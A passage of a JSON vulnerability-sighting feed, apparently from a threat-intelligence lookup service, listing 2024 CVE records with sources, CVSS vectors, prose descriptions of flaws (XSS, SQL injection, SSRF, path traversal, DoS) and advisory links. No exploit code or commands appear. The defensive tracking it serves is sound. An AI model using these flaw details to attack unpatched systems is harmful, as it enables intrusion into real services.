Keycloak's OIDC component in the \"checkLoginIframe,\" which allows unvalidated cross-origin messages. This flaw allows attackers to coordinate and send millions of requests in seconds using simple code, significantly impacting the application's availability without proper origin validation for incoming messages.\n\ud83d\udccf Published: 2024-04-17T13:22:48.335Z\n\ud83d\udccf Modified: 2025-03-26T19:24:12.590Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:1860\n2. https://access.redhat.com/errata/RHSA-2024:1861\n3. https://access.redhat.com/errata/RHSA-2024:1862\n4. https://access.redhat.com/errata/RHSA-2024:1864\n5. https://access.redhat.com/errata/RHSA-2024:1866\n6. https://access.redhat.com/errata/RHSA-2024:1867\n7. https://access.redhat.com/errata/RHSA-2024:1868\n8. https://access.redhat.com/errata/RHSA-2024:2945\n9. https://access.redhat.com/errata/RHSA-2024:4057\n10. https://access.redhat.com/security/cve/CVE-2024-1249\n11. https://bugzilla.redhat.com/show_bug.cgi?id=2262918", "creation_timestamp": "2025-03-26T19:26:07.000000Z"}, {"uuid": "22093b60-87ff-448f-9407-eb53ea696661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12619", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9299", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12619\n\ud83d\udd25 CVSS Score: 5.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects.\n\ud83d\udccf Published: 2025-03-28T10:02:13.406Z\n\ud83d\udccf Modified: 2025-03-28T10:02:13.406Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/509324\n2. https://hackerone.com/reports/2888260", "creation_timestamp": "2025-03-28T10:28:09.000000Z"}, {"uuid": "9c6222f7-cb60-4151-8639-b671480f7bb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12537", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10423", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12537\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: In version 0.3.32 of open-webui/open-webui, the absence of authentication mechanisms allows any unauthenticated attacker to access the `api/v1/utils/code/format` endpoint. If a malicious actor sends a POST request with an excessively high volume of content, the server could become completely unresponsive. This could lead to severe performance issues, causing the server to become unresponsive or experience significant degradation, ultimately resulting in service interruptions for legitimate users.\n\ud83d\udccf Published: 2025-03-20T10:09:10.774Z\n\ud83d\udccf Modified: 2025-04-04T08:45:40.046Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/edabd06c-acc0-428c-a481-271f333755bc", "creation_timestamp": "2025-04-04T09:35:54.000000Z"}, {"uuid": "fbf96947-8554-4a1a-8468-594f1be2830e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12278", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9865", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12278\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via any location that typically sanitizes data using wp_kses, like comments, in all versions up to, and including, 7.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-01T06:52:03.749Z\n\ud83d\udccf Modified: 2025-04-01T06:52:03.749Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/234789db-1440-40ac-83e7-b8afb0ba4b5f?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php#L1015\n3. https://plugins.trac.wordpress.org/changeset/3262569/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php", "creation_timestamp": "2025-04-01T07:32:16.000000Z"}, {"uuid": "13d02d19-f535-4f27-a714-d86a29cd2c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9661", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12021\n\ud83d\udd25 CVSS Score: 8.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Coverity versions prior to 2024.9.0 are vulnerable to stored cross-site scripting (XSS) in various administrative interfaces. The impact of exploitation may result in the compromise of local accounts managed by the Coverity platform as well as other standard impacts resulting from cross-site scripting.\n\ud83d\udccf Published: 2025-03-31T14:00:20.216Z\n\ud83d\udccf Modified: 2025-03-31T14:00:20.216Z\n\ud83d\udd17 References:\n1. https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2024-12021", "creation_timestamp": "2025-03-31T14:32:10.000000Z"}, {"uuid": "544e5ec5-d643-42f1-83d4-980d87f27ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9958", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12133\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.\n\ud83d\udccf Published: 2025-02-10T15:28:03.193Z\n\ud83d\udccf Modified: 2025-04-01T16:48:00.988Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12133\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344611\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-04-01T17:32:37.000000Z"}, {"uuid": "b69aa91f-ccfb-4991-9771-aca78649420b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12189", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9864", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12189\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The WDesignKit \u2013 Elementor & Gutenberg Starter Templates, Patterns, Cloud Workspace & Widget Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom widgets in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-01T06:52:04.579Z\n\ud83d\udccf Modified: 2025-04-01T06:52:04.579Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2e936214-ee25-4763-ba7a-b5308cc09a57?source=cve\n2. https://wordpress.org/plugins/wdesignkit/#developers", "creation_timestamp": "2025-04-01T07:32:12.000000Z"}, {"uuid": "1d3061ec-ab08-441f-804c-6f4529c71281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "Telegram/UHL0TJKIonORmRgyHs-hZ1z9VuX5d0aMuE4E8UqAWNdn_m6Z", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "531893de-c547-43be-b0a6-5f0e63c8d933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12410", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10042", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12410\n\ud83d\udd25 CVSS Score: 4.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The Front End Users plugin for WordPress is vulnerable to SQL Injection via the 'UserSearchField' parameter in all versions up to, and including, 3.2.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-04-02T09:21:44.350Z\n\ud83d\udccf Modified: 2025-04-02T09:21:44.350Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/975ddadd-12f8-4ace-9c1a-489114a2da6a?source=cve\n2. https://plugins.trac.wordpress.org/browser/front-end-only-users/trunk/html/UsersPage.php#L55", "creation_timestamp": "2025-04-02T09:34:24.000000Z"}, {"uuid": "8b374c2a-fb5d-4b9d-929d-a462108bc150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12450", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10424", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12450\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: In infiniflow/ragflow versions 0.12.0, the `web_crawl` function in `document_app.py` contains multiple vulnerabilities. The function does not filter URL parameters, allowing attackers to exploit Full Read SSRF by accessing internal network addresses and viewing their content through the generated PDF files. Additionally, the lack of restrictions on the file protocol enables Arbitrary File Read, allowing attackers to read server files. Furthermore, the use of an outdated Chromium headless version with --no-sandbox mode enabled makes the application susceptible to Remote Code Execution (RCE) via known Chromium v8 vulnerabilities. These issues are resolved in version 0.14.0.\n\ud83d\udccf Published: 2025-03-20T10:11:05.133Z\n\ud83d\udccf Modified: 2025-04-04T08:45:39.429Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/da06360c-87c3-4ba9-be67-29f6eff9d44a\n2. https://github.com/infiniflow/ragflow/commit/3faae0b2c2f8a26233ee1442ba04874b3406f6e9", "creation_timestamp": "2025-04-04T09:35:55.000000Z"}, {"uuid": "8d2f5f37-6109-442a-a5cb-d0bece4dae42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10589", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12254\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Starting in Python 3.12.0, the asyncio._SelectorSocketTransport.writelines()\n method would not \"pause\" writing and signal to the Protocol to drain \nthe buffer to the wire once the write buffer reached the \"high-water \nmark\". Because of this, Protocols would not periodically drain the write\n buffer potentially leading to memory exhaustion.\n\n\n\n\n\nThis\n vulnerability likely impacts a small number of users, you must be using\n Python 3.12.0 or later, on macOS or Linux, using the asyncio module \nwith protocols, and using .writelines() method which had new \nzero-copy-on-write behavior in Python 3.12.0 and later. If not all of \nthese factors are true then your usage of Python is unaffected.\n\ud83d\udccf Published: 2024-12-06T15:19:41.576Z\n\ud83d\udccf Modified: 2025-04-04T23:03:00.653Z\n\ud83d\udd17 References:\n1. https://github.com/python/cpython/issues/127655\n2. https://github.com/python/cpython/pull/127656\n3. https://mail.python.org/archives/list/security-announce@python.org/thread/H4O3UBAOAQQXGT4RE3E4XQYR5XLROORB/\n4. https://github.com/python/cpython/commit/71e8429ac8e2adc10084ab5ec29a62f4b6671a82\n5. https://github.com/python/cpython/commit/9aa0deb2eef2655a1029ba228527b152353135b5\n6. https://github.com/python/cpython/commit/e991ac8f2037d78140e417cc9a9486223eb3e786", "creation_timestamp": "2025-04-04T23:37:53.000000Z"}, {"uuid": "6491d831-43e2-4ba3-ab2e-a726b1010e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-27)", "content": "", "creation_timestamp": "2026-04-27T00:00:00.000000Z"}, {"uuid": "99fe6938-9680-4ea9-bbd9-57a542f7bb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "Telegram/13zzh8XswVUB2Pi_-AEZmV1PrSe9NFiWdve8ZzLIixwlFl6m", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "2fa4235b-cce0-48ab-a3eb-9c3d6e16a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11148", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12556\n\ud83d\udd25 CVSS Score: 8.7 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\ud83d\udd39 Description: Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.\n\ud83d\udccf Published: 2025-04-08T20:04:22.103Z\n\ud83d\udccf Modified: 2025-04-09T19:29:15.956Z\n\ud83d\udd17 References:\n1. https://discuss.elastic.co/t/kibana-8-16-4-and-8-17-2-security-update-esa-2025-02/376918", "creation_timestamp": "2025-04-09T19:48:22.000000Z"}, {"uuid": "3e851abf-907a-4693-b8f8-b229386781f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-27)", "content": "", "creation_timestamp": "2026-04-27T00:00:00.000000Z"}, {"uuid": "b1304c62-0460-4b43-84b4-b72ce6c43638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "Telegram/TR8UkG0tS9ijHabBoO0okLYvBiIBY1DErkRRaMl-bkasKvPi", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "a8cc5ac9-3825-41a2-aa3c-69eae3f2adce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "f3ffef57-d8e9-4331-805f-d278b7a364b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "c8359108-5fd9-4342-9a9e-8ccf921877ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12094", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11778", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12094\n\ud83d\udd25 CVSS Score: 5.4 (cvssV4_0, Vector: CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)\n\ud83d\udd39 Description: This vulnerability exists in the Tinxy mobile app due to storage of logged-in user information in plaintext on the device database. An attacker with physical access to the rooted device could exploit this vulnerability by accessing its database leading to unauthorized access of user information such as username, email address and mobile number.\nNote:\nTo exploit this vulnerability, the device must be rooted/jailbroken.\n\ud83d\udccf Published: 2024-12-05T12:27:41.540Z\n\ud83d\udccf Modified: 2025-04-15T09:16:24.183Z\n\ud83d\udd17 References:\n1. https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2024-0355", "creation_timestamp": "2025-04-15T09:55:18.000000Z"}, {"uuid": "eb45d177-763e-4dc6-86b1-06b38f608486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://bsky.app/profile/ssd-disclsoure.bsky.social/post/3mkmovdigz22t", "content": "Want to know how a \u201csmall\u201d WebAssembly issue can become a big security problem?\n\nIn our new article, SSD Labs researcher, Aaron Cho, analyzes CVE-2024-12053. An arbitrary WebAssembly type confusion vulnerability leading to an RCE. Read about it here: ssd-disclosure.com/webassembly-...", "creation_timestamp": "2026-04-29T08:34:20.225413Z"}, {"uuid": "a2405220-b967-4f58-a5ec-736da33538c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12325", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12369\n\ud83d\udd25 CVSS Score: 4.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability was found in OIDC-Client. When using the RH SSO OIDC adapter with EAP 7.x or when using the elytron-oidc-client subsystem with EAP 8.x, authorization code injection attacks can occur, allowing an attacker to inject a stolen authorization code into the attacker's own session with the client with a victim's identity. This is usually done with a Man-in-the-Middle (MitM) or phishing attack.\n\ud83d\udccf Published: 2024-12-09T20:53:09.260Z\n\ud83d\udccf Modified: 2025-04-17T18:46:48.744Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:3989\n2. https://access.redhat.com/security/cve/CVE-2024-12369\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2331178", "creation_timestamp": "2025-04-17T18:58:08.000000Z"}, {"uuid": "63e2f20a-702d-4e3a-b8f3-14a78479989f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-1234", "type": "seen", "source": "https://gist.github.com/harche/ac8e8399a9bf69091a38a5cf6e3bc56b", "content": "", "creation_timestamp": "2026-04-28T22:02:22.000000Z"}, {"uuid": "95851fb1-cb31-476f-a699-e4bb052fb812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "41f0f643-3a4b-4276-a667-d619328e2dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12815", "type": "seen", "source": "Telegram/EUZnr01FrxLZyzusrQTDMp5EdU_mzgDnw3HpYH9gE_MUgmcj", "content": "", "creation_timestamp": "2025-03-06T02:16:31.000000Z"}, {"uuid": "22f10a61-ce1a-4807-8aee-d1121f01d495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12905\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.8.\n\ud83d\udccf Published: 2025-03-27T16:25:34.410Z\n\ud83d\udccf Modified: 2025-04-20T15:42:44.814Z\n\ud83d\udd17 References:\n1. https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed\n2. https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs", "creation_timestamp": "2025-04-20T16:01:34.000000Z"}, {"uuid": "160ee0f8-9398-4da4-8fd2-989556a1d8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12862", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12664", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12862\n\ud83d\udd25 CVSS Score: 5.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Incorrect Authorization vulnerability in the OpenText Content Server REST API on Windows, Linux allows users without the appropriate permissions to remove external collaborators.This issue affects Content Server: 20.2-24.4.\n\ud83d\udccf Published: 2025-04-21T14:22:59.811Z\n\ud83d\udccf Modified: 2025-04-21T14:56:38.978Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839115", "creation_timestamp": "2025-04-21T15:02:43.000000Z"}, {"uuid": "2057b823-8003-49d9-b15c-819a766a234a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12690", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12543\n\ud83d\udd25 CVSS Score: 5.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes.\n\ud83d\udccf Published: 2025-04-21T15:14:20.984Z\n\ud83d\udccf Modified: 2025-04-21T15:36:51.036Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839119", "creation_timestamp": "2025-04-21T16:02:59.000000Z"}, {"uuid": "82d3d95b-d071-4c06-b0a8-589fb4001f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12863", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12696", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12863\n\ud83d\udd25 CVSS Score: 5.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Stored XSS in Discussions in OpenText Content Management CE 20.2 to 25.1 on Windows and Linux allows authenticated malicious users to inject code into the system.\n\ud83d\udccf Published: 2025-04-21T15:13:04.555Z\n\ud83d\udccf Modified: 2025-04-21T15:24:29.951Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839121", "creation_timestamp": "2025-04-21T16:03:04.000000Z"}, {"uuid": "2fbe28be-a9f6-4f59-b334-a6a1ad9b3f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1267", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1267\n\ud83d\udd25 CVSS Score: 3.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, has been found in CodeAstro Restaurant POS System 1.0. Affected by this issue is some unknown functionality of the file create_account.php. The manipulation of the argument Full Name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-253010 is the identifier assigned to this vulnerability.\n\ud83d\udccf Published: 2024-02-07T01:00:08.559Z\n\ud83d\udccf Modified: 2025-04-24T15:58:53.648Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.253010\n2. https://vuldb.com/?ctiid.253010\n3. https://drive.google.com/drive/folders/18N_20KuGPjrBbvOMSfbvBIc1sMKyycH3?usp=sharing", "creation_timestamp": "2025-04-24T16:06:38.000000Z"}, {"uuid": "401622a4-dd45-410c-9200-4d11f4552072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13018", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12243\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.\n\ud83d\udccf Published: 2025-02-10T15:28:10.328Z\n\ud83d\udccf Modified: 2025-04-23T10:53:56.693Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:4051\n2. https://access.redhat.com/security/cve/CVE-2024-12243\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2344615\n4. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-04-23T11:20:41.000000Z"}, {"uuid": "6953028e-285a-444c-89eb-f7fb6b5a57ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-26)", "content": "", "creation_timestamp": "2026-04-26T00:00:00.000000Z"}, {"uuid": "d52bda5c-b408-48e8-a106-7d12f02186fa", "vulnerability_lookup_origin": 